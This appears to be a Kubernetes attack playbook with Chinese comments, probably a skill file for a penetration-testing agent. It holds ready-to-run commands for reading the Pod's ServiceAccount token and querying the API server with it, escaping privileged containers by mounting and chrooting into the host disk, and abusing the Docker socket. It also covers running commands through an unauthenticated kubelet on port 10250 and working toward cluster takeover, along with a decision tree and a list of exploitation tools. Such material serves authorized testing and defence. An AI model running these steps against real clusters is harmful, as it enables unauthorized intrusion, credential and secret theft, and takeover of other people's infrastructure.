Once a K8s cluster is breached, the attack surface is enormous—from a single Pod you can laterally expand to all nodes and services of the entire cluster.
⛔ In-depth References (Must Read)
- Detailed container escape techniques (mount escape/kernel vulnerabilities/privileged containers/cgroup) → read references/escape-techniques.md
- Cluster-level attacks (API Server/etcd/RBAC/lateral movement) → read references/cluster-attacks.md
- RBAC permission self-check, in-Pod API requests, badPods/KubeHound/gitRepo volume → read references/rbac-and-api-abuse.md
Phase 1: Environment Identification
1.1 Confirm You Are Inside a Container
cat /proc/1/cgroup 2>/dev/null | grep -qi 'docker\|kubepods\|containerd'
ls /.dockerenv 2>/dev/null || ls /run/secrets/kubernetes.io 2>/dev/null
hostname # K8s Pod 名通常含 deployment 名
env | grep -i kube
1.2 K8s Environment Information Gathering
# ServiceAccount Token（几乎每个 Pod 都有）
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)
# API Server 地址
echo $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# 测试 API 权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/$NAMESPACE/pods
1.3 External Port Probing
| Port | Service | Attack Surface |
|---|---|---|
| 6443 | API Server | Unauthorized/Token Exploitation |
| 10250 | Kubelet | Command Execution |
| 10255 | Kubelet (read-only) | Information Leakage |
| 2379 | etcd | Full Data (including Secrets) |
| 8080 | API Server (insecure) | Full Control |
Phase 2: Attack Decision Tree
当前位置？
├─ 容器内部
│ ├─ 特权容器（privileged=true）→ 挂载宿主机 → 逃逸
│ ├─ 挂载了 hostPath/docker.sock → 逃逸
│ ├─ 有 SA Token → SelfSubjectRulesReview / can-i → RBAC 权限驱动攻击
│ ├─ 能 create pods / pods/exec / impersonate → Pod 创建、进入高权限 Pod 或模拟高权限账户
│ └─ 普通容器 → 内核漏洞/cgroup 逃逸
├─ 可访问 Kubelet (10250)
│ └─ 未授权 → 任意 Pod 命令执行
├─ 可访问 API Server (6443/8080)
│ ├─ 匿名访问 → 创建特权 Pod
│ └─ Token → RBAC 权限枚举
└─ 可访问 etcd (2379)
└─ 提取所有 Secrets
详细命令 → 参考 references
Phase 3: Container Escape Quick Reference
Privileged Container Escape (most common)
# 检查是否特权容器
cat /proc/1/status | grep -i cap
# CapEff: 0000003fffffffff 表示全能力 = 特权容器
# 方法 1: 挂载宿主机文件系统
mkdir -p /tmp/hostroot
mount /dev/sda1 /tmp/hostroot
chroot /tmp/hostroot bash
Docker Socket Escape
ls -la /var/run/docker.sock
# 存在则可创建特权容器挂载宿主机
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
→ Complete escape techniques → references/escape-techniques.md
Phase 4: Kubelet Unauthorized Access
# 列出所有 Pod
curl -sk https://NODE_IP:10250/pods
# 在任意 Pod 中执行命令
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
-d "cmd=id"
Phase 5: Cluster Takeover
# 用 SA Token 检查权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
https://API_SERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'
# 能创建 Pod → 创建特权 Pod 挂载节点
→ Detailed cluster attacks → references/cluster-attacks.md
Tool Quick Reference
| Tool | Purpose |
|---|---|
| kubectl | K8s Cluster Management |
| kubeletctl | Kubelet Exploitation |
| CDK | Container Escape Automation |
| PEIRATES | K8s Penetration Framework |
| etcdctl | etcd Data Extraction |